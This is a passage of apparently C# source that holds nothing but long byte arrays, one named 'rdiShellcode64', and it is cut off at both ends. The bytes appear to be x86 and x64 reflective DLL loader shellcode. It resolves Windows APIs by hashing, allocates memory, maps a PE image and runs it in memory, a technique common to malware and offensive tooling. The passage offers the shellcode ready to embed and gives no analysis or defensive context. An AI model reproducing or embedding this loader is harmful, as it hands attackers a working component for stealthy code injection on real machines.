x00,0x00,0x8D,0x51,0xFF,0x8D,0x69,0xFF,0xF7,0xD2,0x03,0x6E,0x50,0x8D,0x41,0xFF,0x03,0xC3,0x23,0xEA,0x23,0xC2,0x3B,0xE8,0x0F,0x85,0x3D,0x06,0x00,0x00,0x6A,0x04,0x68,0x00,0x30,0x00,0x00,0x55,0xFF,0x76,0x34,0xFF,0x54,0x24,0x44,0x8B,0xD8,0x89,0x5C,0x24,0x2C,0x85,0xDB,0x75,0x13,0x6A,0x04,0x68,0x00,0x30,0x00,0x00,0x55,0x50,0xFF,0x54,0x24,0x44,0x8B,0xD8,0x89,0x44,0x24,0x2C,0xF6,0x84,0x24,0x38,0x01,0x00,0x00,0x01,0x74,0x23,0x8B,0x47,0x3C,0x89,0x43,0x3C,0x8B,0x4F,0x3C,0x3B,0x4E,0x54,0x73,0x2E,0x8B,0xEF,0x8D,0x14,0x0B,0x2B,0xEB,0x8A,0x04,0x2A,0x41,0x88,0x02,0x42,0x3B,0x4E,0x54,0x72,0xF4,0xEB,0x19,0x33,0xED,0x39,0x6E,0x54,0x76,0x12,0x8B,0xD7,0x8B,0xCB,0x2B,0xD3,0x8A,0x04,0x11,0x45,0x88,0x01,0x41,0x3B,0x6E,0x54,0x72,0xF4,0x8B,0x6B,0x3C,0x33,0xC9,0x03,0xEB,0x89,0x4C,0x24,0x10,0x33,0xC0,0x89,0x6C,0x24,0x28,0x0F,0xB7,0x55,0x14,0x83,0xC2,0x28,0x66,0x3B,0x45,0x06,0x73,0x31,0x03,0xD5,0x33,0xF6,0x39,0x32,0x76,0x19,0x8B,0x42,0x04,0x8B,0x4A,0xFC,0x03,0xC6,0x03,0xCB,0x8A,0x04,0x38,0x88,0x04,0x31,0x46,0x3B,0x32,0x72,0xEB,0x8B,0x4C,0x24,0x10,0x0F,0xB7,0x45,0x06,0x41,0x83,0xC2,0x28,0x89,0x4C,0x24,0x10,0x3B,0xC8,0x72,0xD1,0x8B,0xC3,0xC7,0x84,0x24,0xBC,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x2B,0x45,0x34,0x89,0x44,0x24,0x24,0x0F,0x84,0xC4,0x00,0x00,0x00,0x83,0xBD,0xA4,0x00,0x00,0x00,0x00,0x0F,0x84,0xB7,0x00,0x00,0x00,0x8B,0xB5,0xA0,0x00,0x00,0x00,0x03,0xF3,0x83,0x3E,0x00,0x0F,0x84,0xA6,0x00,0x00,0x00,0x6A,0x02,0x8B,0xF8,0x5D,0x8D,0x56,0x08,0xEB,0x75,0x0F,0xB7,0x02,0x89,0x44,0x24,0x10,0x0F,0xB7,0xC8,0x66,0xC1,0xE8,0x0C,0x66,0x83,0xF8,0x0A,0x75,0x28,0x8B,0x16,0x8B,0x4C,0x24,0x10,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x89,0x4C,0x24,0x10,0x8D,0x04,0x1A,0x8B,0x0C,0x08,0x8D,0x04,0x1A,0x8B,0x54,0x24,0x10,0x03,0xCF,0x89,0x0C,0x10,0x8B,0x54,0x24,0x24,0xEB,0x37,0x66,0x83,0xF8,0x03,0x75,0x0D,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0E,0x01,0x3C,0x19,0xEB,0x24,0x66,0x3B,0x84,0x24,0xBC,0x00,0x00,0x00,0x75,0x07,0x8B,0xC7,0xC1,0xE8,0x10,0xEB,0x08,0x66,0x3B,0xC5,0x75,0x0E,0x0F,0xB7,0xC7,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0E,0x01,0x04,0x19,0x03,0xD5,0x8B,0x46,0x04,0x03,0xC6,0x89,0x54,0x24,0x24,0x3B,0xD0,0x0F,0x85,0x7A,0xFF,0xFF,0xFF,0x83,0x3A,0x00,0x8B,0xF2,0x0F,0x85,0x6A,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x83,0xBD,0x84,0x00,0x00,0x00,0x00,0x0F,0x84,0xD7,0x01,0x00,0x00,0x8B,0xB5,0x80,0x00,0x00,0x00,0x33,0xC0,0x89,0x44,0x24,0x10,0x8D,0x0C,0x1E,0x89,0x4C,0x24,0x24,0x83,0xC1,0x0C,0x39,0x01,0x74,0x0D,0x8D,0x49,0x14,0x40,0x83,0x39,0x00,0x75,0xF7,0x89,0x44,0x24,0x10,0x8B,0x8C,0x24,0x38,0x01,0x00,0x00,0x8B,0xD1,0x83,0xE2,0x04,0x89,0x54,0x24,0x38,0x8B,0xD6,0x0F,0x84,0xC3,0x00,0x00,0x00,0x83,0xF8,0x01,0x0F,0x86,0xBA,0x00,0x00,0x00,0x83,0xA4,0x24,0xBC,0x00,0x00,0x00,0x00,0xC1,0xE9,0x10,0x89,0x8C,0x24,0x38,0x01,0x00,0x00,0x8D,0x48,0xFF,0x89,0x8C,0x24,0xC0,0x00,0x00,0x00,0x85,0xC9,0x0F,0x84,0xA1,0x00,0x00,0x00,0x8B,0x74,0x24,0x24,0x8B,0xDE,0x8B,0xAC,0x24,0xBC,0x00,0x00,0x00,0x8B,0xC8,0x69,0xFF,0xFD,0x43,0x03,0x00,0x2B,0xCD,0x33,0xD2,0xB8,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x81,0xC7,0xC3,0x9E,0x26,0x00,0x33,0xD2,0x89,0xBC,0x24,0x28,0x01,0x00,0x00,0x6A,0x05,0x8D,0x48,0x01,0x8B,0xC7,0xC1,0xE8,0x10,0x8D,0xBC,0x24,0xF0,0x00,0x00,0x00,0x25,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x59,0x03,0xC5,0x6B,0xC0,0x14,0x6A,0x05,0x03,0xC6,0x45,0x8B,0xF0,0xF3,0xA5,0x59,0x8B,0xF3,0x8B,0xF8,0x8B,0x44,0x24,0x10,0xF3,0xA5,0x6A,0x05,0x8B,0xFB,0x8D,0xB4,0x24,0xF0,0x00,0x00,0x00,0x59,0xF3,0xA5,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x83,0xC3,0x14,0x8B,0x74,0x24,0x24,0x3B,0xAC,0x24,0xC0,0x00,0x00,0x00,0x72,0x87,0x8B,0x6C,0x24,0x28,0x8B,0x5C,0x24,0x2C,0x8B,0x95,0x80,0x00,0x00,0x00,0xEB,0x0B,0x8B,0x44,0x24,0x38,0x89,0x84,0x24,0x38,0x01,0x00,0x00,0x8D,0x3C,0x1A,0x8B,0x47,0x0C,0x89,0x7C,0x24,0x2C,0x85,0xC0,0x0F,0x84,0xB8,0x00,0x00,0x00,0x03,0xC3,0x50,0xFF,0x94,0x24,0xB4,0x00,0x00,0x00,0x8B,0xD0,0x89,0x54,0x24,0x1C,0x8B,0x37,0x8B,0x6F,0x10,0x03,0xF3,0x03,0xEB,0x8B,0x0E,0x85,0xC9,0x74,0x60,0x8B,0x7C,0x24,0x30,0x85,0xC9,0x79,0x09,0x0F,0xB7,0x06,0x55,0x50,0x6A,0x00,0xEB,0x36,0x83,0xC1,0x02,0x33,0xC0,0x03,0xCB,0x89,0x8C,0x24,0xC0,0x00,0x00,0x00,0x38,0x01,0x74,0x0E,0x40,0x41,0x80,0x39,0x00,0x75,0xF9,0x8B,0x8C,0x24,0xC0,0x00,0x00,0x00,0x55,0x66,0x89,0x44,0x24,0x18,0x66,0x89,0x44,0x24,0x1A,0x8D,0x44,0x24,0x18,0x6A,0x00,0x89,0x4C,0x24,0x20,0x50,0x52,0xFF,0xD7,0x83,0xC6,0x04,0x83,0xC5,0x04,0x8B,0x0E,0x85,0xC9,0x74,0x06,0x8B,0x54,0x24,0x1C,0xEB,0xA8,0x8B,0x7C,0x24,0x2C,0x83,0x7C,0x24,0x38,0x00,0x74,0x1C,0x33,0xC0,0x40,0x39,0x44,0x24,0x10,0x76,0x13,0x69,0x84,0x24,0x38,0x01,0x00,0x00,0xE8,0x03,0x00,0x00,0x50,0xFF,0x94,0x24,0xB0,0x00,0x00,0x00,0x8B,0x47,0x20,0x83,0xC7,0x14,0x89,0x7C,0x24,0x2C,0x85,0xC0,0x0F,0x85,0x4C,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x83,0xBD,0xE4,0x00,0x00,0x00,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x8B,0x85,0xE0,0x00,0x00,0x00,0x83,0xC0,0x04,0x03,0xC3,0x89,0x44,0x24,0x10,0x8B,0x00,0x85,0xC0,0x0F,0x84,0x94,0x00,0x00,0x00,0x8B,0x6C,0x24,0x10,0x03,0xC3,0x50,0xFF,0x94,0x24,0xB4,0x00,0x00,0x00,0x8B,0xC8,0x89,0x4C,0x24,0x1C,0x8B,0x75,0x08,0x8B,0x7D,0x0C,0x03,0xF3,0x03,0xFB,0x83,0x3E,0x00,0x74,0x5B,0x8B,0x6C,0x24,0x30,0x8B,0x17,0x85,0xD2,0x79,0x09,0x56,0x0F,0xB7,0xC2,0x50,0x6A,0x00,0xEB,0x30,0x83,0xC2,0x02,0x33,0xC0,0x03,0xD3,0x89,0x54,0x24,0x38,0x38,0x02,0x74,0x0B,0x40,0x42,0x80,0x3A,0x00,0x75,0xF9,0x8B,0x54,0x24,0x38,0x56,0x66,0x89,0x44,0x24,0x18,0x66,0x89,0x44,0x24,0x1A,0x8D,0x44,0x24,0x18,0x6A,0x00,0x89,0x54,0x24,0x20,0x50,0x51,0xFF,0xD5,0x83,0xC6,0x04,0x83,0xC7,0x04,0x83,0x3E,0x00,0x74,0x06,0x8B,0x4C,0x24,0x1C,0xEB,0xAD,0x8B,0x6C,0x24,0x10,0x83,0xC5,0x20,0x89,0x6C,0x24,0x10,0x8B,0x45,0x00,0x85,0xC0,0x0F,0x85,0x74,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x0F,0xB7,0x75,0x14,0x33,0xC0,0x83,0xC6,0x28,0x33,0xFF,0x66,0x3B,0x45,0x06,0x0F,0x83,0xE5,0x00,0x00,0x00,0x03,0xF5,0xBA,0x00,0x00,0x00,0x40,0x83,0x3E,0x00,0x0F,0x84,0xC5,0x00,0x00,0x00,0x8B,0x4E,0x14,0x8B,0xC1,0x25,0x00,0x00,0x00,0x20,0x75,0x0B,0x85,0xCA,0x75,0x07,0x85,0xC9,0x78,0x03,0x40,0xEB,0x62,0x85,0xC0,0x75,0x30,0x85,0xCA,0x75,0x08,0x85,0xC9,0x79,0x04,0x6A,0x08,0xEB,0x51,0x85,0xC0,0x75,0x20,0x85,0xCA,0x74,0x08,0x85,0xC9,0x78,0x04,0x6A,0x02,0xEB,0x41,0x85,0xC0,0x75,0x10,0x85,0xCA,0x74,0x08,0x85,0xC9,0x79,0x04,0x6A,0x04,0xEB,0x31,0x85,0xC0,0x74,0x4A,0x85,0xCA,0x75,0x08,0x85,0xC9,0x78,0x04,0x6A,0x10,0xEB,0x21,0x85,0xC0,0x74,0x3A,0x85,0xCA,0x75,0x0B,0x85,0xC9,0x79,0x07,0xB8,0x80,0x00,0x00,0x00,0xEB,0x0F,0x85,0xC0,0x74,0x27,0x85,0xCA,0x74,0x0D,0x85,0xC9,0x78,0x09,0x6A,0x20,0x58,0x89,0x44,0x24,0x20,0xEB,0x1A,0x85,0xC0,0x74,0x12,0x85,0xCA,0x74,0x0E,0x8B,0x44,0x24,0x20,0x85,0xC9,0x6A,0x40,0x5A,0x0F,0x48,0xC2,0xEB,0xE4,0x8B,0x44,0x24,0x20,0xF7,0x46,0x14,0x00,0x00,0x00,0x04,0x74,0x09,0x0D,0x00,0x02,0x00,0x00,0x89,0x44,0x24,0x20,0x8D,0x4C,0x24,0x20,0x51,0x50,0x8B,0x46,0xFC,0xFF,0x36,0x03,0xC3,0x50,0xFF,0x94,0x24,0xC4,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x40,0x0F,0xB7,0x45,0x06,0x47,0x83,0xC6,0x28,0x3B,0xF8,0x0F,0x82,0x22,0xFF,0xFF,0xFF,0x6A,0x00,0x6A,0x00,0x6A,0xFF,0xFF,0x94,0x24,0xC4,0x00,0x00,0x00,0x83,0xBD,0xC4,0x00,0x00,0x00,0x00,0x74,0x26,0x8B,0x85,0xC0,0x00,0x00,0x00,0x8B,0x74,0x18,0x0C,0x8B,0x06,0x85,0xC0,0x74,0x16,0x33,0xED,0x45,0x6A,0x00,0x55,0x53,0xFF,0xD0,0x8D,0x76,0x04,0x8B,0x06,0x85,0xC0,0x75,0xF1,0x8B,0x6C,0x24,0x28,0x33,0xC0,0x40,0x50,0x50,0x8B,0x45,0x28,0x53,0x03,0xC3,0xFF,0xD0,0x83,0xBC,0x24,0x2C,0x01,0x00,0x00,0x00,0x0F,0x84,0xAB,0x00,0x00,0x00,0x83,0x7D,0x7C,0x00,0x0F,0x84,0xA1,0x00,0x00,0x00,0x8B,0x55,0x78,0x03,0xD3,0x8B,0x6A,0x18,0x85,0xED,0x0F,0x84,0x91,0x00,0x00,0x00,0x83,0x7A,0x14,0x00,0x0F,0x84,0x87,0x00,0x00,0x00,0x8B,0x7A,0x20,0x8B,0x4A,0x24,0x03,0xFB,0x83,0x64,0x24,0x30,0x00,0x03,0xCB,0x85,0xED,0x74,0x74,0x8B,0x37,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x03,0xF3,0x74,0x66,0x8A,0x06,0x84,0xC0,0x74,0x1A,0x8B,0x6C,0x24,0x10,0x0F,0xBE,0xC0,0x03,0xE8,0xC1,0xCD,0x0D,0x46,0x8A,0x06,0x84,0xC0,0x75,0xF1,0x89,0x6C,0x24,0x10,0x8B,0x6A,0x18,0x8B,0x84,0x24,0x2C,0x01,0x00,0x00,0x3B,0x44,0x24,0x10,0x75,0x04,0x85,0xC9,0x75,0x15,0x8B,0x44,0x24,0x30,0x83,0xC7,0x04,0x40,0x83,0xC1,0x02,0x89,0x44,0x24,0x30,0x3B,0xC5,0x72,0xAE,0xEB,0x20,0x0F,0xB7,0x09,0x8B,0x42,0x1C,0xFF,0xB4,0x24,0x34,0x01,0x00,0x00,0xFF,0xB4,0x24,0x34,0x01,0x00,0x00,0x8D,0x04,0x88,0x8B,0x04,0x18,0x03,0xC3,0xFF,0xD0,0x59,0x59,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x81,0xC4,0x14,0x01,0x00,0x00,0xC3,0x83,0xEC,0x14,0x64,0xA1,0x30,0x00,0x00,0x00,0x53,0x55,0x56,0x8B,0x40,0x0C,0x57,0x89,0x4C,0x24,0x1C,0x8B,0x78,0x0C,0xE9,0xA5,0x00,0x00,0x00,0x8B,0x47,0x30,0x33,0xF6,0x8B,0x5F,0x2C,0x8B,0x3F,0x89,0x44,0x24,0x10,0x8B,0x42,0x3C,0x89,0x7C,0x24,0x14,0x8B,0x6C,0x10,0x78,0x89,0x6C,0x24,0x18,0x85,0xED,0x0F,0x84,0x80,0x00,0x00,0x00,0xC1,0xEB,0x10,0x33,0xC9,0x85,0xDB,0x74,0x2F,0x8B,0x7C,0x24,0x10,0x0F,0xBE,0x2C,0x0F,0xC1,0xCE,0x0D,0x80,0x3C,0x0F,0x61,0x89,0x6C,0x24,0x10,0x7C,0x09,0x8B,0xC5,0x83,0xC0,0xE0,0x03,0xF0,0xEB,0x04,0x03,0x74,0x24,0x10,0x41,0x3B,0xCB,0x72,0xDD,0x8B,0x7C,0x24,0x14,0x8B,0x6C,0x24,0x18,0x8B,0x44,0x2A,0x20,0x33,0xDB,0x8B,0x4C,0x2A,0x18,0x03,0xC2,0x89,0x4C,0x24,0x10,0x85,0xC9,0x74,0x34,0x8B,0x38,0x33,0xED,0x03,0xFA,0x83,0xC0,0x04,0x89,0x44,0x24,0x20,0x8A,0x0F,0xC1,0xCD,0x0D,0x0F,0xBE,0xC1,0x03,0xE8,0x47,0x84,0xC9,0x75,0xF1,0x8B,0x7C,0x24,0x14,0x8D,0x04,0x2E,0x3B,0x44,0x24,0x1C,0x74,0x20,0x8B,0x44,0x24,0x20,0x43,0x3B,0x5C,0x24,0x10,0x72,0xCC,0x8B,0x57,0x18,0x85,0xD2,0x0F,0x85,0x50,0xFF,0xFF,0xFF,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x83,0xC4,0x14,0xC3,0x8B,0x74,0x24,0x18,0x8B,0x44,0x16,0x24,0x8D,0x04,0x58,0x0F,0xB7,0x0C,0x10,0x8B,0x44,0x16,0x1C,0x8D,0x04,0x88,0x8B,0x04,0x10,0x03,0xC2,0xEB,0xDB };
            var rdiShellcode64 = new byte[] { 0x48,0x8B,0xC4,0x48,0x89,0x58,0x08,0x44,0x89,0x48,0x20,0x4C,0x89,0x40,0x18,0x89,0x50,0x10,0x55,0x56,0x57,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8D,0x6C,0x24,0x90,0x48,0x81,0xEC,0x70,0x01,0x00,0x00,0x45,0x33,0xFF,0xC7,0x45,0xD8,0x6B,0x00,0x65,0x00,0x48,0x8B,0xF1,0x4C,0x89,0x7D,0xF8,0xB9,0x13,0x9C,0xBF,0xBD,0x4C,0x89,0x7D,0xC8,0x4C,0x89,0x7D,0x08,0x45,0x8D,0x4F,0x65,0x4C,0x89,0x7D,0x10,0x44,0x88,0x4D,0xBC,0x44,0x88,0x4D,0xA2,0x4C,0x89,0x7D,0x00,0x4C,0x89,0x7D,0xF0,0x4C,0x89,0x7D,0x18,0x44,0x89,0x7D,0x24,0x44,0x89,0x7C,0x24,0x2C,0xC7,0x45,0xDC,0x72,0x00,0x6E,0x00,0xC7,0x45,0xE0,0x65,0x00,0x6C,0x00,0xC7,0x45,0xE4,0x33,0x00,0x32,0x00,0xC7,0x45,0xE8,0x2E,0x00,0x64,0x00,0xC7,0x45,0xEC,0x6C,0x00,0x6C,0x00,0xC7,0x44,0x24,0x40,0x53,0x6C,0x65,0x65,0xC6,0x44,0x24,0x44,0x70,0xC7,0x44,0x24,0x58,0x4C,0x6F,0x61,0x64,0xC7,0x44,0x24,0x5C,0x4C,0x69,0x62,0x72,0xC7,0x44,0x24,0x60,0x61,0x72,0x79,0x41,0xC7,0x44,0x24,0x48,0x56,0x69,0x72,0x74,0xC7,0x44,0x24,0x4C,0x75,0x61,0x6C,0x41,0xC7,0x44,0x24,0x50,0x6C,0x6C,0x6F,0x63,0xC7,0x44,0x24,0x68,0x56,0x69,0x72,0x74,0xC7,0x44,0x24,0x6C,0x75,0x61,0x6C,0x50,0xC7,0x44,0x24,0x70,0x72,0x6F,0x74,0x65,0x66,0xC7,0x44,0x24,0x74,0x63,0x74,0xC7,0x45,0xA8,0x46,0x6C,0x75,0x73,0xC7,0x45,0xAC,0x68,0x49,0x6E,0x73,0xC7,0x45,0xB0,0x74,0x72,0x75,0x63,0xC7,0x45,0xB4,0x74,0x69,0x6F,0x6E,0xC7,0x45,0xB8,0x43,0x61,0x63,0x68,0xC7,0x44,0x24,0x78,0x47,0x65,0x74,0x4E,0xC7,0x44,0x24,0x7C,0x61,0x74,0x69,0x76,0xC7,0x45,0x80,0x65,0x53,0x79,0x73,0xC7,0x45,0x84,0x74,0x65,0x6D,0x49,0x66,0xC7,0x45,0x88,0x6E,0x66,0xC6,0x45,0x8A,0x6F,0xC7,0x45,0x90,0x52,0x74,0x6C,0x41,0xC7,0x45,0x94,0x64,0x64,0x46,0x75,0xC7,0x45,0x98,0x6E,0x63,0x74,0x69,0xC7,0x45,0x9C,0x6F,0x6E,0x54,0x61,0x66,0xC7,0x45,0xA0,0x62,0x6C,0xE8,0x7F,0x08,0x00,0x00,0xB9,0xB5,0x41,0xD9,0x5E,0x48,0x8B,0xD8,0xE8,0x72,0x08,0x00,0x00,0x4C,0x8B,0xE8,0x48,0x89,0x45,0xD0,0x48,0x8D,0x45,0xD8,0xC7,0x45,0x20,0x18,0x00,0x18,0x00,0x4C,0x8D,0x4C,0x24,0x38,0x48,0x89,0x45,0x28,0x4C,0x8D,0x45,0x20,0x33,0xD2,0x33,0xC9,0xFF,0xD3,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x48,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xC8,0xC7,0x44,0x24,0x28,0x0C,0x00,0x0C,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x68,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x00,0xC7,0x44,0x24,0x28,0x0E,0x00,0x0E,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8D,0x45,0xA8,0xC7,0x44,0x24,0x28,0x15,0x00,0x15,0x00,0x48,0x8B,0x4C,0x24,0x38,0x4C,0x8D,0x4D,0x08,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x78,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x10,0xC7,0x44,0x24,0x28,0x13,0x00,0x13,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x40,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xF0,0xC7,0x44,0x24,0x28,0x05,0x00,0x05,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x45,0x90,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x18,0xC7,0x44,0x24,0x28,0x13,0x00,0x13,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x58,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xF8,0xC7,0x44,0x24,0x28,0x0C,0x00,0x0C,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x4C,0x39,0x7D,0xC8,0x0F,0x84,0x1D,0x07,0x00,0x00,0x4C,0x39,0x7D,0x00,0x0F,0x84,0x13,0x07,0x00,0x00,0x4C,0x39,0x7D,0xF0,0x0F,0x84,0x09,0x07,0x00,0x00,0x4C,0x39,0x7D,0x08,0x0F,0x84,0xFF,0x06,0x00,0x00,0x48,0x8B,0x55,0x10,0x48,0x85,0xD2,0x0F,0x84,0xF2,0x06,0x00,0x00,0x48,0x63,0x7E,0x3C,0x48,0x03,0xFE,0x81,0x3F,0x50,0x45,0x00,0x00,0x0F,0x85,0xDF,0x06,0x00,0x00,0xB8,0x64,0x86,0x00,0x00,0x66,0x39,0x47,0x04,0x0F,0x85,0xD0,0x06,0x00,0x00,0x45,0x8D,0x4F,0x01,0x44,0x84,0x4F,0x38,0x0F,0x85,0xC2,0x06,0x00,0x00,0x0F,0xB7,0x4F,0x14,0x41,0x8B,0xDF,0x48,0x83,0xC1,0x24,0x66,0x44,0x3B,0x7F,0x06,0x73,0x25,0x44,0x0F,0xB7,0x47,0x06,0x48,0x03,0xCF,0x44,0x39,0x79,0x04,0x8B,0x47,0x38,0x0F,0x45,0x41,0x04,0x03,0x01,0x48,0x8D,0x49,0x28,0x3B,0xC3,0x0F,0x46,0xC3,0x8B,0xD8,0x4D,0x2B,0xC1,0x75,0xE3,0x48,0x8D,0x4D,0x38,0xFF,0xD2,0x8B,0x55,0x3C,0x44,0x8B,0xC2,0x44,0x8D,0x72,0xFF,0xF7,0xDA,0x44,0x03,0x77,0x50,0x49,0x8D,0x48,0xFF,0x8B,0xC2,0x4C,0x23,0xF0,0x8B,0xC3,0x48,0x03,0xC8,0x49,0x8D,0x40,0xFF,0x48,0xF7,0xD0,0x48,0x23,0xC8,0x4C,0x3B,0xF1,0x0F,0x85,0x54,0x06,0x00,0x00,0x48,0x8B,0x4F,0x30,0x41,0xBC,0x00,0x30,0x00,0x00,0x45,0x8B,0xC4,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x8B,0xD6,0xFF,0x55,0xC8,0x48,0x8B,0xD8,0x48,0x85,0xC0,0x75,0x12,0x44,0x8D,0x48,0x04,0x45,0x8B,0xC4,0x49,0x8B,0xD6,0x33,0xC9,0xFF,0x55,0xC8,0x48,0x8B,0xD8,0x44,0x8B,0xA5,0xD0,0x00,0x00,0x00,0x41,0xBB,0x01,0x00,0x00,0x00,0x45,0x84,0xE3,0x74,0x1D,0x8B,0x46,0x3C,0x89,0x43,0x3C,0x8B,0x56,0x3C,0xEB,0x0B,0x8B,0xCA,0x41,0x03,0xD3,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0xEB,0x19,0x41,0x8B,0xD7,0x44,0x39,0x7F,0x54,0x76,0x10,0x8B,0xCA,0x41,0x03,0xD3,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0x48,0x63,0x7B,0x3C,0x45,0x8B,0xD7,0x48,0x03,0xFB,0x48,0x89,0x7D,0x30,0x44,0x0F,0xB7,0x47,0x14,0x49,0x83,0xC0,0x28,0x66,0x44,0x3B,0x7F,0x06,0x73,0x3A,0x4C,0x03,0xC7,0x45,0x8B,0xCF,0x45,0x39,0x38,0x76,0x1F,0x41,0x8B,0x50,0x04,0x41,0x8B,0x48,0xFC,0x41,0x8B,0xC1,0x45,0x03,0xCB,0x48,0x03,0xC8,0x48,0x03,0xD0,0x8A,0x04,0x32,0x88,0x04,0x19,0x45,0x3B,0x08,0x72,0xE1,0x0F,0xB7,0x47,0x06,0x45,0x03,0xD3,0x49,0x83,0xC0,0x28,0x44,0x3B,0xD0,0x72,0xC9,0x4C,0x8B,0xF3,0x41,0xB8,0x02,0x00,0x00,0x00,0x4C,0x2B,0x77,0x30,0x0F,0x84,0xD6,0x00,0x00,0x00,0x44,0x39,0xBF,0xB4,0x00,0x00,0x00,0x0F,0x84,0xC9,0x00,0x00,0x00,0x44,0x8B,0x8F,0xB0,0x00,0x00,0x00,0x4C,0x03,0xCB,0x45,0x39,0x39,0x0F,0x84,0xB6,0x00,0x00,0x00,0x4D,0x8D,0x51,0x08,0xE9,0x91,0x00,0x00,0x00,0x45,0x0F,0xB7,0x1A,0x41,0x0F,0xB7,0xCB,0x41,0x0F,0xB7,0xC3,0x66,0xC1,0xE9,0x0C,0x66,0x83,0xF9,0x0A,0x75,0x29,0x45,0x8B,0x01,0x41,0x81,0xE3,0xFF,0x0F,0x00,0x00,0x4B,0x8D,0x04,0x18,0x48,0x8B,0x14,0x18,0x4B,0x8D,0x04,0x18,0x41,0xBB,0x01,0x00,0x00,0x00,0x49,0x03,0xD6,0x48,0x89,0x14,0x18,0x45,0x8D,0x43,0x01,0xEB,0x4F,0x41,0xBB,0x01,0x00,0x00,0x00,0x66,0x83,0xF9,0x03,0x75,0x0E,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x8B,0xC6,0xEB,0x2E,0x66,0x41,0x3B,0xCB,0x75,0x15,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x49,0x8B,0xC6,0x48,0xC1,0xE8,0x10,0x0F,0xB7,0xC0,0xEB,0x13,0x66,0x41,0x3B,0xC8,0x75,0x14,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x0F,0xB7,0xC6,0x41,0x8B,0x11,0x48,0x01,0x04,0x0A,0x4D,0x03,0xD0,0x41,0x8B,0x41,0x04,0x49,0x03,0xC1,0x4C,0x3B,0xD0,0x0F,0x85,0x5F,0xFF,0xFF,0xFF,0x4D,0x8B,0xCA,0x45,0x39,0x3A,0x0F,0x85,0x4A,0xFF,0xFF,0xFF,0x44,0x39,0xBF,0x94,0x00,0x00,0x00,0x0F,0x84,0x82,0x01,0x00,0x00,0x8B,0x8F,0x90,0x00,0x00,0x00,0x45,0x8B,0xEF,0x4C,0x8D,0x04,0x19,0x49,0x8D,0x40,0x0C,0xEB,0x07,0x45,0x03,0xEB,0x48,0x8D,0x40,0x14,0x44,0x39,0x38,0x75,0xF4,0x41,0x8B,0xC4,0x83,0xE0,0x04,0x89,0x45,0xC0,0x8B,0xC1,0x0F,0x84,0x89,0x00,0x00,0x00,0x45,0x3B,0xEB,0x0F,0x86,0x80,0x00,0x00,0x00,0x41,0xC1,0xEC,0x10,0x45,0x8D,0x5D,0xFF,0x45,0x8B,0xD7,0x45,0x85,0xDB,0x74,0x74,0x4D,0x8B,0xC8,0x41,0xBE,0xFF,0x7F,0x00,0x00,0x41,0x0F,0x10,0x01,0x33,0xD2,0x41,0x8B,0xCD,0x41,0x2B,0xCA,0x69,0xF6,0xFD,0x43,0x03,0x00,0x41,0x8B,0xC6,0xF7,0xF1,0x33,0xD2,0x81,0xC6,0xC3,0x9E,0x26,0x00,0x8D,0x48,0x01,0x8B,0xC6,0xC1,0xE8,0x10,0x41,0x23,0xC6,0xF7,0xF1,0x41,0x03,0xC2,0x41,0xFF,0xC2,0x48,0x8D,0x0C,0x80,0x41,0x8B,0x54,0x88,0x10,0x41,0x0F,0x10,0x0C,0x88,0x41,0x0F,0x11,0x04,0x88,0x41,0x8B,0x41,0x10,0x41,0x89,0x44,0x88,0x10,0x41,0x0F,0x11,0x09,0x41,0x89,0x51,0x10,0x4D,0x8D,0x49,0x14,0x45,0x3B,0xD3,0x72,0xA1,0x8B,0x87,0x90,0x00,0x00,0x00,0xEB,0x04,0x44,0x8B,0x65,0xC0,0x8B,0xF0,0x